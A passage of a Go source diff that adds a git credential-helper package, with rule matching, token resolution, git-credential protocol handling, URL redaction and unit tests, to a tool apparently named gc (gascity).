+// URL-scheme strings.
+func parseSCPForm(s string) (host, path string, ok bool) {
+	if strings.Contains(s, "://") {
+		return "", "", false
+	}
+	at := strings.IndexByte(s, '@')
+	if at < 0 {
+		return "", "", false
+	}
+	rest := s[at+1:]
+	colon := strings.IndexByte(rest, ':')
+	if colon <= 0 {
+		return "", "", false
+	}
+	host = rest[:colon]
+	path = strings.Trim(rest[colon+1:], "/")
+	if host == "" {
+		return "", "", false
+	}
+	return host, path, true
+}
diff --git a/internal/gitcred/match_test.go b/internal/gitcred/match_test.go
new file mode 100644
index 0000000000..672e904abd
--- /dev/null
+++ b/internal/gitcred/match_test.go
@@ -0,0 +1,200 @@
+package gitcred
+
+import "testing"
+
+// ruleset builds a single-layer Rules value from rules for matcher tests.
+func ruleset(rules ...Rule) *Rules {
+	lyr := layer{}
+	for _, r := range rules {
+		lyr.rules = append(lyr.rules, LoadedRule{Rule: r, Origin: "test"})
+	}
+	return &Rules{layers: []layer{lyr}}
+}
+
+func layered(layers ...[]Rule) *Rules {
+	r := &Rules{}
+	for _, rs := range layers {
+		lyr := layer{}
+		for _, rule := range rs {
+			lyr.rules = append(lyr.rules, LoadedRule{Rule: rule, Origin: "test"})
+		}
+		r.layers = append(r.layers, lyr)
+	}
+	return r
+}
+
+func TestMatchRequestProtocolGatesGitHubDefault(t *testing.T) {
+	// The built-in ambient github.com default is httpsOnly: MatchRequest serves
+	// it for protocol=https but withholds it for plaintext protocol=http so the
+	// bearer token is never sent over cleartext.
+	clearCredEnv(t)
+	t.Setenv("GITHUB_TOKEN", "ghp_example")
+	rules, err := Load("")
+	if err != nil {
+		t.Fatalf("Load: %v", err)
+	}
+	if _, ok := rules.MatchRequest(Request{Protocol: "https", Host: "github.com", Path: "org/repo"}); !ok {
+		t.Fatalf("https request must match the github.com default")
+	}
+	if _, ok := rules.MatchRequest(Request{Protocol: "http", Host: "github.com", Path: "org/repo"}); ok {
+		t.Fatalf("plaintext http request must not match the httpsOnly github.com default")
+	}
+}
+
+func TestMatchRequestFileRuleStillServesHTTP(t *testing.T) {
+	// A user-authored file rule is not httpsOnly, so plaintext http still matches
+	// it — the HTTPS-only restriction applies only to the built-in ambient default.
+	rules := ruleset(Rule{Match: "example.com", Helper: "token"})
+	if _, ok := rules.MatchRequest(Request{Protocol: "http", Host: "example.com", Path: "o/r"}); !ok {
+		t.Fatalf("plaintext http must still match a user file rule")
+	}
+}
+
+func TestMatchSourceLongestPrefixWithinLayer(t *testing.T) {
+	rules := ruleset(
+		Rule{Match: "github.com", Helper: "broad"},
+		Rule{Match: "github.com/gascity", Helper: "narrow"},
+	)
+	got, ok := rules.MatchSource("https://github.com/gascity/gas-city-inc")
+	if !ok || got.Helper != "narrow" {
+		t.Fatalf("want narrow rule, got %+v ok=%v", got, ok)
+	}
+}
+
+func TestMatchLayerOrderBeatsPrefixLength(t *testing.T) {
+	// City layer (first) has only a broad host rule; home layer (second) has a
+	// longer prefix. Layer order must win.
+	rules := layered(
+		[]Rule{{Match: "github.com", Helper: "city-broad"}},
+		[]Rule{{Match: "github.com/gascity", Helper: "home-narrow"}},
+	)
+	got, ok := rules.MatchSource("https://github.com/gascity/repo")
+	if !ok || got.Helper != "city-broad" {
+		t.Fatalf("layer order must win, got %+v ok=%v", got, ok)
+	}
+}
+
+func TestMatchHostCaseInsensitive(t *testing.T) {
+	rules := ruleset(Rule{Match: "GitHub.com/Org", Helper: "x"})
+	if _, ok := rules.MatchSource("https://github.com/org/repo"); !ok {
+		t.Fatalf("host/path match should be case-insensitive")
+	}
+}
+
+func TestMatchSegmentBoundary(t *testing.T) {
+	rules := ruleset(Rule{Match: "github.com/gas", Helper: "x"})
+	if _, ok := rules.MatchSource("https://github.com/gascity/repo"); ok {
+		t.Fatalf("prefix must match on segment boundaries, not substrings")
+	}
+}
+
+func TestMatchDotGitStripped(t *testing.T) {
+	rules := ruleset(Rule{Match: "github.com/org/repo", Helper: "x"})
+	if _, ok := rules.MatchSource("https://github.com/org/repo.git"); !ok {
+		t.Fatalf("trailing .git must be stripped before matching")
+	}
+}
+
+func TestMatchSCPForm(t *testing.T) {
+	rules := ruleset(Rule{Match: "github.com/org", SSHKeyFile: "~/.ssh/id"})
+	got, ok := rules.MatchSource("git@github.com:org/repo.git")
+	if !ok || got.SSHKeyFile == "" {
+		t.Fatalf("scp-form host/path extraction failed: %+v ok=%v", got, ok)
+	}
+}
+
+func TestMatchSSHURL(t *testing.T) {
+	rules := ruleset(Rule{Match: "github.com/org", SSHKeyFile: "~/.ssh/id"})
+	if _, ok := rules.MatchSource("ssh://git@github.com:22/org/repo"); !ok {
+		t.Fatalf("ssh:// URL host/path extraction failed")
+	}
+}
+
+func TestMatchTransportGateHTTPSkipsSSHRule(t *testing.T) {
+	// An ssh_key_file rule must not serve an https URL; matching continues to
+	// the next-longest compatible rule.
+	rules := ruleset(
+		Rule{Match: "github.com/org/repo", SSHKeyFile: "~/.ssh/id"},
+		Rule{Match: "github.com/org", Helper: "token"},
+	)
+	got, ok := rules.MatchSource("https://github.com/org/repo")
+	if !ok || got.Helper != "token" {
+		t.Fatalf("https must skip ssh rule and fall to token rule, got %+v ok=%v", got, ok)
+	}
+}
+
+func TestMatchTransportGateSSHSkipsTokenRule(t *testing.T) {
+	rules := ruleset(
+		Rule{Match: "github.com/org/repo", Helper: "token"},
+		Rule{Match: "github.com/org", SSHKeyFile: "~/.ssh/id"},
+	)
+	got, ok := rules.MatchSource("git@github.com:org/repo.git")
+	if !ok || got.SSHKeyFile == "" {
+		t.Fatalf("ssh must skip token rule and fall to ssh rule, got %+v ok=%v", got, ok)
+	}
+}
+
+func TestMatchFileAndLocalNeverMatch(t *testing.T) {
+	rules := ruleset(Rule{Match: "example.com", Helper: "x"})
+	for _, src := range []string{
+		"file:///home/u/repo",
+		"/home/u/repo",
+		"./packs/review",
+	} {
+		if _, ok := rules.MatchSource(src); ok {
+			t.Fatalf("source %q must never match", src)
+		}
+	}
+}
+
+func TestMatchTrailingWildcardNormalization(t *testing.T) {
+	rules := ruleset(Rule{Match: "github.com/gascity/*", Helper: "x"})
+	if _, ok := rules.MatchSource("https://github.com/gascity/repo"); !ok {
+		t.Fatalf("trailing /* must normalize to a host/prefix match")
+	}
+}
+
+func TestMatchHostOnlyRuleMatchesAnyPath(t *testing.T) {
+	rules := ruleset(Rule{Match: "github.com", Helper: "x"})
+	if _, ok := rules.MatchSource("https://github.com/any/repo"); !ok {
+		t.Fatalf("host-only rule should match any path on that host")
+	}
+}
+
+// TestMatchPortHostSymmetry guards the parent/helper agreement for a
+// non-default-port host. The parent resolves the rule via MatchSource, which
+// strips the port from the URL host; the helper resolves via Match, and git
+// supplies the request host WITH the port under credential.useHttpPath=true. A
+// credential is host-scoped, not port-scoped, so a single rule authored as the
+// bare host must match both call sites for the same URL.
+func TestMatchPortHostSymmetry(t *testing.T) {
+	rules := ruleset(Rule{Match: "git.corp.example", Helper: "token"})
+
+	parent, parentOK := rules.MatchSource("https://git.corp.example:8443/o/r")
+	if !parentOK {
+		t.Fatalf("parent MatchSource should match the bare-host rule for a :port URL")
+	}
+
+	// The helper receives req.Host with the port, exactly as git supplies it.
+	helper, helperOK := rules.Match("git.corp.example:8443", "o/r")
+	if !helperOK {
+		t.Fatalf("helper Match should match the bare-host rule when git supplies host:port")
+	}
+
+	if parent.Helper != helper.Helper || parent.Match != helper.Match {
+		t.Fatalf("parent/helper disagreement: parent=%+v helper=%+v", parent, helper)
+	}
+}
+
+// TestMatchRuleHostWithPortNormalized guards the other direction: a rule
+// authored with an explicit :port still matches both a bare-host URL and a
+// with-port URL, since the credential is host-scoped.
+func TestMatchRuleHostWithPortNormalized(t *testing.T) {
+	rules := ruleset(Rule{Match: "git.corp.example:8443/o", Helper: "token"})
+	if _, ok := rules.MatchSource("https://git.corp.example/o/r"); !ok {
+		t.Fatalf("a rule authored with :port should still match a bare-host URL")
+	}
+	if _, ok := rules.Match("git.corp.example:8443", "o/r"); !ok {
+		t.Fatalf("a rule authored with :port should match a with-port request host")
+	}
+}
diff --git a/internal/gitcred/protocol.go b/internal/gitcred/protocol.go
new file mode 100644
index 0000000000..9e775fdb9e
--- /dev/null
+++ b/internal/gitcred/protocol.go
@@ -0,0 +1,61 @@
+package gitcred
+
+import (
+	"bufio"
+	"fmt"
+	"io"
+	"strings"
+)
+
+// Request is a git-credential protocol request: the key=value lines git writes
+// to a credential helper's stdin, terminated by a blank line or EOF. Only the
+// keys the helper needs are captured; unknown keys are ignored per the
+// protocol.
+type Request struct {
+	Protocol string
+	Host     string
+	Path     string
+	Username string
+}
+
+// ReadRequest parses a git-credential request from r. It reads key=value lines
+// until a blank line or EOF and ignores unrecognized keys, as the protocol
+// requires. A line without '=' is a malformed request.
+func ReadRequest(r io.Reader) (Request, error) {
+	var req Request
+	scanner := bufio.NewScanner(r)
+	for scanner.Scan() {
+		line := scanner.Text()
+		if line == "" {
+			break
+		}
+		key, value, ok := strings.Cut(line, "=")
+		if !ok {
+			return Request{}, fmt.Errorf("malformed request line %q", line)
+		}
+		switch key {
+		case "protocol":
+			req.Protocol = value
+		case "host":
+			req.Host = value
+		case "path":
+			req.Path = value
+		case "username":
+			req.Username = value
+		}
+	}
+	if err := scanner.Err(); err != nil {
+		return Request{}, fmt.Errorf("reading credential request: %w", err)
+	}
+	return req, nil
+}
+
+// WriteCredential writes a credential to w in the git-credential wire format
+// ("username=...\npassword=...\n"). git reads exactly these two keys from a
+// helper's "get" response.
+func WriteCredential(w io.Writer, c Credential) error {
+	if _, err := fmt.Fprintf(w, "username=%s\npassword=%s\n", c.Username, c.Password); err != nil {
+		return fmt.Errorf("writing credential: %w", err)
+	}
+	return nil
+}
diff --git a/internal/gitcred/protocol_test.go b/internal/gitcred/protocol_test.go
new file mode 100644
index 0000000000..a04a85c670
--- /dev/null
+++ b/internal/gitcred/protocol_test.go
@@ -0,0 +1,54 @@
+package gitcred
+
+import (
+	"strings"
+	"testing"
+)
+
+func TestReadRequestBlankLineTerminates(t *testing.T) {
+	in := "protocol=https\nhost=github.com\npath=gascity/repo.git\n\nignored=after\n"
+	req, err := ReadRequest(strings.NewReader(in))
+	if err != nil {
+		t.Fatalf("ReadRequest: %v", err)
+	}
+	if req.Protocol != "https" || req.Host != "github.com" || req.Path != "gascity/repo.git" {
+		t.Fatalf("unexpected request: %+v", req)
+	}
+}
+
+func TestReadRequestEOFTerminates(t *testing.T) {
+	req, err := ReadRequest(strings.NewReader("protocol=https\nhost=github.com"))
+	if err != nil {
+		t.Fatalf("ReadRequest: %v", err)
+	}
+	if req.Host != "github.com" {
+		t.Fatalf("unexpected host %q", req.Host)
+	}
+}
+
+func TestReadRequestUnknownKeysIgnored(t *testing.T) {
+	req, err := ReadRequest(strings.NewReader("host=github.com\nwacky=1\ncapability[]=authtype\n"))
+	if err != nil {
+		t.Fatalf("ReadRequest: %v", err)
+	}
+	if req.Host != "github.com" {
+		t.Fatalf("unexpected host %q", req.Host)
+	}
+}
+
+func TestReadRequestMalformedLine(t *testing.T) {
+	if _, err := ReadRequest(strings.NewReader("host=github.com\nno-equals-here\n")); err == nil {
+		t.Fatalf("expected error for malformed line")
+	}
+}
+
+func TestWriteCredentialExactBytes(t *testing.T) {
+	var buf strings.Builder
+	if err := WriteCredential(&buf, Credential{Username: "x-access-token", Password: "ghp_abc"}); err != nil {
+		t.Fatalf("WriteCredential: %v", err)
+	}
+	want := "username=x-access-token\npassword=ghp_abc\n"
+	if buf.String() != want {
+		t.Fatalf("got %q want %q", buf.String(), want)
+	}
+}
diff --git a/internal/gitcred/redact.go b/internal/gitcred/redact.go
new file mode 100644
index 0000000000..5129b99b04
--- /dev/null
+++ b/internal/gitcred/redact.go
@@ -0,0 +1,57 @@
+package gitcred
+
+import (
+	"net/url"
+	"strings"
+)
+
+// RedactUserinfo replaces any userinfo (user or user:password) embedded in an
+// http(s)/ssh URL with "***" so a credential-bearing source never reaches a
+// log line, error string, or config file. URLs without userinfo are returned
+// unchanged, as are strings that do not parse as a URL (scp-form remotes such
+// as git@host:org/repo carry their identity in the path and are left intact).
+//
+// A URL whose userinfo carries a malformed token (an invalid %-escape, a raw
+// space, "^", "|", ...) makes url.Parse fail; in that case a string fallback
+// still masks the userinfo so the raw secret never survives.
+func RedactUserinfo(rawURL string) string {
+	u, err := url.Parse(rawURL)
+	if err != nil {
+		return redactUserinfoString(rawURL)
+	}
+	if u.User == nil {
+		return rawURL
+	}
+	// Rebuild the URL without url.User so the "***" placeholder is not
+	// percent-encoded (url.URL.String would render "*" as "%2A").
+	u.User = nil
+	rebuilt := u.String()
+	if i := strings.Index(rebuilt, "://"); i >= 0 {
+		return rebuilt[:i+3] + "***@" + rebuilt[i+3:]
+	}
+	return "***@" + rebuilt
+}
+
+// redactUserinfoString masks the userinfo of a URL that url.Parse rejected. It
+// replaces everything between "://" and the last "@" that precedes the first
+// "/" of the path (the authority-section "@") with "***". A string without a
+// scheme separator or an authority "@" is returned unchanged.
+func redactUserinfoString(rawURL string) string {
+	sep := strings.Index(rawURL, "://")
+	if sep < 0 {
+		return rawURL
+	}
+	authStart := sep + 3
+	// The userinfo "@" lives in the authority, before the first "/" of the path.
+	rest := rawURL[authStart:]
+	pathStart := strings.IndexByte(rest, '/')
+	authority := rest
+	if pathStart >= 0 {
+		authority = rest[:pathStart]
+	}
+	at := strings.LastIndexByte(authority, '@')
+	if at < 0 {
+		return rawURL
+	}
+	return rawURL[:authStart] + "***" + rawURL[authStart+at:]
+}
diff --git a/internal/gitcred/redact_test.go b/internal/gitcred/redact_test.go
new file mode 100644
index 0000000000..4476ffa874
--- /dev/null
+++ b/internal/gitcred/redact_test.go
@@ -0,0 +1,49 @@
+package gitcred
+
+import (
+	"strings"
+	"testing"
+)
+
+func TestRedactUserinfo(t *testing.T) {
+	tests := []struct {
+		in   string
+		want string
+	}{
+		{"https://github.com/org/repo", "https://github.com/org/repo"},
+		{"https://user:ghp_secret@github.com/org/repo", "https://***@github.com/org/repo"},
+		{"https://ghp_secret@github.com/org/repo", "https://***@github.com/org/repo"},
+		{"git@github.com:org/repo.git", "git@github.com:org/repo.git"},
+		{"file:///home/u/repo", "file:///home/u/repo"},
+		// Malformed userinfo (invalid %-escape) makes url.Parse fail; the string
+		// fallback must still mask the userinfo rather than leak the raw token.
+		{"https://user:ghp_x%SS@github.com/org/repo", "https://***@github.com/org/repo"},
+		{"https://ghp_x%SS@github.com/org/repo", "https://***@github.com/org/repo"},
+	}
+	for _, tc := range tests {
+		if got := RedactUserinfo(tc.in); got != tc.want {
+			t.Errorf("RedactUserinfo(%q) = %q, want %q", tc.in, got, tc.want)
+		}
+	}
+}
+
+// TestRedactUserinfoNeverLeaksOnParseFailure asserts the raw token never
+// survives redaction even when url.Parse rejects the URL for reasons other than
+// a bad escape (a raw space, caret, or pipe in the userinfo).
+func TestRedactUserinfoNeverLeaksOnParseFailure(t *testing.T) {
+	for _, in := range []string{
+		"https://user:ghp_x%SS@github.com/org/repo",
+		"https://user:secret^tok@github.com/org/repo",
+		"https://user:bad tok@github.com/org/repo",
+		"https://user:pipe|tok@github.com/org/repo",
+	} {
+		got := RedactUserinfo(in)
+		if strings.Contains(got, "ghp_x") || strings.Contains(got, "secret^tok") ||
+			strings.Contains(got, "bad tok") || strings.Contains(got, "pipe|tok") {
+			t.Fatalf("RedactUserinfo(%q) leaked the token: %q", in, got)
+		}
+		if !strings.Contains(got, "***@") {
+			t.Fatalf("RedactUserinfo(%q) = %q, want a redacted userinfo marker", in, got)
+		}
+	}
+}
diff --git a/internal/gitcred/resolve.go b/internal/gitcred/resolve.go
new file mode 100644
index 0000000000..795d8c410b
--- /dev/null
+++ b/internal/gitcred/resolve.go
@@ -0,0 +1,148 @@
+package gitcred
+
+import (
+	"fmt"
+	"os"
+	"os/exec"
+	"path/filepath"
+	"strings"
+)
+
+// DefaultUsername is the username sent to the remote when a rule omits one.
+// GitHub (and other token-as-password hosts) ignore the username but require a
+// non-empty value; "x-access-token" is the GitHub App installation-token
+// convention.
+const DefaultUsername = "x-access-token"
+
+// Credential is a resolved username/password pair handed to git over the
+// credential-helper wire. The password is a token; it lives only in this value
+// and the helper→git pipe, never in a file gc writes or an env gc exports.
+type Credential struct {
+	Username string
+	Password string
+}
+
+// Resolve reads the single pointer field set on rule and returns the resolved
+// credential. It never returns the secret in an error: every error names the
+// pointer (the helper command, the file path, or the env var NAME), not its
+// contents. The caller must have validated that exactly one pointer is set;
+// Resolve treats an SSHKeyFile rule as unsupported here (ssh is handled via
+// GIT_SSH_COMMAND on the injection side, not the credential helper).
+func Resolve(rule Rule) (Credential, error) {
+	username := strings.TrimSpace(rule.Username)
+	if username == "" {
+		username = DefaultUsername
+	}
+	switch {
+	case rule.Helper != "":
+		token, err := runHelper(rule.Helper)
+		if err != nil {
+			return Credential{}, err
+		}
+		if token == "" {
+			return Credential{}, fmt.Errorf("credential helper %q produced no output", rule.Helper)
+		}
+		return Credential{Username: username, Password: token}, nil
+	case rule.TokenFile != "":
+		path := expandUser(rule.TokenFile)
+		data, err := os.ReadFile(path)
+		if err != nil {
+			return Credential{}, fmt.Errorf("reading token file %q: %w", rule.TokenFile, err)
+		}
+		token := strings.TrimSpace(string(data))
+		if token == "" {
+			return Credential{}, fmt.Errorf("token file %q is empty", rule.TokenFile)
+		}
+		return Credential{Username: username, Password: token}, nil
+	case rule.TokenEnv != "":
+		token := strings.TrimSpace(os.Getenv(rule.TokenEnv))
+		if token == "" {
+			return Credential{}, fmt.Errorf("environment variable %s is unset or empty", rule.TokenEnv)
+		}
+		return Credential{Username: username, Password: token}, nil
+	default:
+		return Credential{}, fmt.Errorf("rule for %q has no resolvable credential pointer", rule.Match)
+	}
+}
+
+// RunCredentialCommand runs the $GC_GIT_CREDENTIAL_COMMAND helper for req. The
+// command runs via "sh -c" with the git-credential request piped to its stdin.
+// Empty stdout means the helper declines (ok=false, no error), matching git's
+// own credential-helper convention.
+func RunCredentialCommand(command string, req Request) (Credential, bool, error) {
+	command = strings.TrimSpace(command)
+	if command == "" {
+		return Credential{}, false, nil
+	}
+	cmd := exec.Command("sh", "-c", command)
+	var stdin strings.Builder
+	writeRequestLine(&stdin, "protocol", req.Protocol)
+	writeRequestLine(&stdin, "host", req.Host)
+	writeRequestLine(&stdin, "path", req.Path)
+	writeRequestLine(&stdin, "username", req.Username)
+	stdin.WriteString("\n")
+	cmd.Stdin = strings.NewReader(stdin.String())
+	out, err := cmd.Output()
+	if err != nil {
+		return Credential{}, false, fmt.Errorf("running credential command: %w", err)
+	}
+	cred, ok := parseCredentialResponse(string(out))
+	return cred, ok, nil
+}
+
+func writeRequestLine(b *strings.Builder, key, value string) {
+	if value == "" {
+		return
+	}
+	b.WriteString(key)
+	b.WriteString("=")
+	b.WriteString(value)
+	b.WriteString("\n")
+}
+
+// parseCredentialResponse reads a username=/password= response body. It returns
+// ok=false when the body carries no password (an empty decline).
+func parseCredentialResponse(body string) (Credential, bool) {
+	var cred Credential
+	hasPassword := false
+	for _, line := range strings.Split(body, "\n") {
+		key, value, ok := strings.Cut(line, "=")
+		if !ok {
+			continue
+		}
+		switch key {
+		case "username":
+			cred.Username = value
+		case "password":
+			cred.Password = value
+			hasPassword = true
+		}
+	}
+	if !hasPassword {
+		return Credential{}, false
+	}
+	if cred.Username == "" {
+		cred.Username = DefaultUsername
+	}
+	return cred, true
+}
+
+func runHelper(command string) (string, error) {
+	cmd := exec.Command("sh", "-c", command)
+	out, err := cmd.Output()
+	if err != nil {
+		return "", fmt.Errorf("running credential helper %q: %w", command, err)
+	}
+	return strings.TrimSpace(string(out)), nil
+}
+
+// expandUser expands a leading "~" or "~/" to the current user's home
+// directory. A path that does not begin with "~" is returned unchanged.
+func expandUser(path string) string {
+	if path == "~" || strings.HasPrefix(path, "~/") {
+		if home, err := os.UserHomeDir(); err == nil && home != "" {
+			return filepath.Join(home, strings.TrimPrefix(path, "~"))
+		}
+	}
+	return path
+}
diff --git a/internal/gitcred/resolve_test.go b/internal/gitcred/resolve_test.go
new file mode 100644
index 0000000000..6428f516d4
--- /dev/null
+++ b/internal/gitcred/resolve_test.go
@@ -0,0 +1,101 @@
+package gitcred
+
+import (
+	"os"
+	"path/filepath"
+	"strings"
+	"testing"
+)
+
+func TestResolveHelper(t *testing.T) {
+	cred, err := Resolve(Rule{Match: "github.com", Helper: "printf 'ghp_tok\\n'"})
+	if err != nil {
+		t.Fatalf("Resolve: %v", err)
+	}
+	if cred.Password != "ghp_tok" {
+		t.Fatalf("want trimmed helper stdout, got %q", cred.Password)
+	}
+	if cred.Username != DefaultUsername {
+		t.Fatalf("want default username, got %q", cred.Username)
+	}
+}
+
+func TestResolveHelperCustomUsername(t *testing.T) {
+	cred, err := Resolve(Rule{Match: "github.com", Username: "bot", Helper: "echo tok"})
+	if err != nil {
+		t.Fatalf("Resolve: %v", err)
+	}
+	if cred.Username != "bot" {
+		t.Fatalf("want custom username, got %q", cred.Username)
+	}
+}
+
+func TestResolveTokenFileTildeExpansion(t *testing.T) {
+	home := t.TempDir()
+	t.Setenv("HOME", home)
+	tokenPath := filepath.Join(home, "tok")
+	if err := os.WriteFile(tokenPath, []byte("  secret-token\n"), 0o600); err != nil {
+		t.Fatalf("write: %v", err)
+	}
+	cred, err := Resolve(Rule{Match: "github.com", TokenFile: "~/tok"})
+	if err != nil {
+		t.Fatalf("Resolve: %v", err)
+	}
+	if cred.Password != "secret-token" {
+		t.Fatalf("want trimmed token file contents, got %q", cred.Password)
+	}
+}
+
+func TestResolveTokenEnvUnsetErrorNamesTheName(t *testing.T) {
+	t.Setenv("GC_TEST_MISSING_TOK", "")
+	_, err := Resolve(Rule{Match: "github.com", TokenEnv: "GC_TEST_MISSING_TOK"})
+	if err == nil {
+		t.Fatalf("expected error for unset env var")
+	}
+	if !strings.Contains(err.Error(), "GC_TEST_MISSING_TOK") {
+		t.Fatalf("error must name the env var, got %v", err)
+	}
+}
+
+func TestResolveErrorsNeverLeakSecret(t *testing.T) {
+	// token_file points at a missing path; the error names the pointer, not a
+	// secret (there is none), and never the resolved absolute path token value.
+	_, err := Resolve(Rule{Match: "github.com", TokenFile: "/nonexistent/token"})
+	if err == nil {
+		t.Fatalf("expected error for missing token file")
+	}
+	if !strings.Contains(err.Error(), "/nonexistent/token") {
+		t.Fatalf("error should name the file pointer, got %v", err)
+	}
+}
+
+func TestResolveTokenEnvValue(t *testing.T) {
+	t.Setenv("GC_TEST_TOK", "envtok")
+	cred, err := Resolve(Rule{Match: "github.com", TokenEnv: "GC_TEST_TOK"})
+	if err != nil {
+		t.Fatalf("Resolve: %v", err)
+	}
+	if cred.Password != "envtok" {
+		t.Fatalf("want env token value, got %q", cred.Password)
+	}
+}
+
+func TestRunCredentialCommandDeclineOnEmptyOutput(t *testing.T) {
+	_, ok, err := RunCredentialCommand("true", Request{Host: "github.com"})
+	if err != nil {
+		t.Fatalf("RunCredentialCommand: %v", err)
+	}
+	if ok {
+		t.Fatalf("empty stdout must decline")
+	}
+}
+
+func TestRunCredentialCommandEmit(t *testing.T) {
+	cred, ok, err := RunCredentialCommand("printf 'username=bot\\npassword=tok\\n'", Request{Host: "github.com"})
+	if err != nil {
+		t.Fatalf("RunCredentialCommand: %v", err)
+	}
+	if !ok || cred.Username != "bot" || cred.Password != "tok" {
+		t.Fatalf("unexpected credential: %+v ok=%v", cred, ok)
+	}
+}
diff --git a/internal/gitcred/rules.go b/internal/gitcred/rules.go
new file mode 100644
index 0000000000..f25f94a555
--- /dev/null
+++ b/internal/gitcred/rules.go
@@ -0,0 +1,272 @@
+package gitcred
+
+import (
+	"errors"
+	"fmt"
+	"os"
+	"path/filepath"
+	"runtime"
+	"strings"
+
+	"github.com/BurntSushi/toml"
+	"github.com/gastownhall/gascity/internal/gchome"
+)
+
+// Env var names — the single source of truth referenced by cmd/gc.
+const (
+	// EnvCredentialsFile names an explicit rules file that REPLACES the city
+	// and GC_HOME file layers when set.
+	EnvCredentialsFile = "GC_GIT_CREDENTIALS_FILE"
+	// EnvCredentialCommand names an external helper command used as a
+	// last-resort layer when no file rule matches.
+	EnvCredentialCommand = "GC_GIT_CREDENTIAL_COMMAND"
+	// EnvCredentialCity is the non-secret city-root reference injection sets on
+	// the git subprocess so the git-credential helper can re-load the city
+	// layer.
+	EnvCredentialCity = "GC_CREDENTIAL_CITY"
+)
+
+// credentialsFileName is the fixed basename of a per-city or per-home rules
+// file.
+const credentialsFileName = "credentials.toml"
+
+// commandLayerOrigin is the LoadedRule.Origin marker for the command-layer
+// fallback.
+const commandLayerOrigin = "$" + EnvCredentialCommand
+
+// ErrInsecurePermissions reports a credentials file readable by group or other.
+var ErrInsecurePermissions = errors.New("credentials file is group/world accessible")
+
+// Rule is one [[credential]] entry. Exactly one pointer field (Helper,
+// TokenFile, TokenEnv, or SSHKeyFile) must be set.
+type Rule struct {
+	Match      string `toml:"match"`
+	Username   string `toml:"username,omitempty"`
+	Helper     string `toml:"helper,omitempty"`
+	TokenFile  string `toml:"token_file,omitempty"`
+	TokenEnv   string `toml:"token_env,omitempty"`
+	SSHKeyFile string `toml:"ssh_key_file,omitempty"`
+}
+
+// LoadedRule pairs a Rule with the file (or command-layer marker) that declared
+// it.
+type LoadedRule struct {
+	Rule
+	// Origin is the absolute path of the declaring file, or
+	// "$GC_GIT_CREDENTIAL_COMMAND" for the command-layer fallback.
+	Origin string
+	// httpsOnly withholds this rule from plaintext http transport. The built-in
+	// ambient github.com token default sets it so a bearer token is never served
+	// over http://; file and command rules leave it false.
+	httpsOnly bool
+}
+
+// layer is one resolution tier's rules, kept separate so Match can apply
+// layer-order-outer / longest-prefix-inner precedence.
+type layer struct {
+	rules []LoadedRule
+}
+
+// Rules is the resolved, layered credential rule set. The zero value matches
+// nothing.
+type Rules struct {
+	layers       []layer
+	commandLayer bool
+}
+
+type credentialsFile struct {
+	Credential []map[string]any `toml:"credential"`
+}
+
+// Load resolves credential rules from the layered sources, in order:
+//
+//  1. $GC_GIT_CREDENTIALS_FILE — when set, REPLACES the city and GC_HOME file
+//     layers.
+//  2. <cityRoot>/.gc/credentials.toml — skipped when cityRoot is "".
+//  3. $GC_HOME/credentials.toml — gchome.Default().
+//  4. $GC_GIT_CREDENTIAL_COMMAND — recorded as a rule-less fallback layer.
+//
+// Every file present must be 0600/0400 (no group/other bits; the check is
+// skipped on Windows) or Load returns ErrInsecurePermissions wrapping the path.
+// Missing files are not errors. A literal "token"/"password" key, or a rule
+// with zero or more than one pointer field, is a hard parse error.
+func Load(cityRoot string) (*Rules, error) {
+	rules := &Rules{}
+
+	if explicit := strings.TrimSpace(os.Getenv(EnvCredentialsFile)); explicit != "" {
+		lyr, err := loadFileLayer(explicit)
+		if err != nil {
+			return nil, err
+		}
+		if lyr != nil {
+			rules.layers = append(rules.layers, *lyr)
+		}
+	} else {
+		if strings.TrimSpace(cityRoot) != "" {
+			cityFile := filepath.Join(cityRoot, ".gc", credentialsFileName)
+			lyr, err := loadFileLayer(cityFile)
+			if err != nil {
+				return nil, err
+			}
+			if lyr != nil {
+				rules.layers = append(rules.layers, *lyr)
+			}
+		}
+		homeFile := filepath.Join(gchome.Default(), credentialsFileName)
+		lyr, err := loadFileLayer(homeFile)
+		if err != nil {
+			return nil, err
+		}
+		if lyr != nil {
+			rules.layers = append(rules.layers, *lyr)
+		}
+	}
+
+	// A configured command layer (GC_GIT_CREDENTIAL_COMMAND) is a deliberate
+	// operator choice and must outrank the built-in convenience default below,
+	// so detect it first.
+	commandLayerConfigured := strings.TrimSpace(os.Getenv(EnvCredentialCommand)) != ""
+	rules.commandLayer = commandLayerConfigured
+
+	// Built-in default layer, appended LAST so any explicit file rule for the
+	// same host wins. It lets `gc` clone a private github.com pack over HTTPS
+	// using the ambient GitHub token — the ubiquitous convention used by CI and
+	// the gh CLI — without requiring a hand-written credentials.toml. Scoped
+	// strictly to the github.com host so the token is never offered to any other
+	// (possibly attacker-supplied) pack source, marked httpsOnly so the matcher
+	// withholds it from plaintext http github.com sources (no bearer token over
+	// cleartext), and skipped entirely when a command layer is configured so the
+	// explicitly-configured helper keeps precedence over this ambient-token
+	// convenience: the command layer is a no-rule fallback consulted only when no
+	// rule matches, so a default rule here would otherwise silently shadow it.
+	if lyr := githubDefaultTokenLayer(commandLayerConfigured); lyr != nil {
+		rules.layers = append(rules.layers, *lyr)
+	}
+	return rules, nil
+}
+
+// githubDefaultTokenEnvVars are the environment variables, in priority order,
+// that the built-in github.com default rule consults for a token. GH_TOKEN is
+// the gh CLI convention and takes precedence: it is the usual cross-repo
+// override — a broad PAT set alongside the workflow's repo-scoped GITHUB_TOKEN,
+// which is the GitHub Actions auto-provisioned fallback.
+var githubDefaultTokenEnvVars = []string{"GH_TOKEN", "GITHUB_TOKEN"}
+
+// githubDefaultTokenLayer returns a single-rule layer that authenticates
+// https://github.com clones from the ambient GitHub token, or nil when no such
+// token is set (the byte-identical guarantee — no rule, no injection) or when a
+// command layer is configured (which takes precedence). The rule binds to
+// whichever env var is populated so the existing TokenEnv resolution path
+// (resolve.go) reads it unchanged. It is marked httpsOnly so the matcher never
+// offers the bearer token to a plaintext http github.com source, where it would
+// travel in cleartext.
+func githubDefaultTokenLayer(commandLayerConfigured bool) *layer {
+	if commandLayerConfigured {
+		return nil
+	}
+	for _, envVar := range githubDefaultTokenEnvVars {
+		if strings.TrimSpace(os.Getenv(envVar)) == "" {
+			continue
+		}
+		return &layer{rules: []LoadedRule{{
+			Rule:      Rule{Match: "github.com", TokenEnv: envVar},
+			Origin:    "$" + envVar,
+			httpsOnly: true,
+		}}}
+	}
+	return nil
+}
+
+// loadFileLayer reads and validates a single credentials file. A missing file
+// yields (nil, nil).
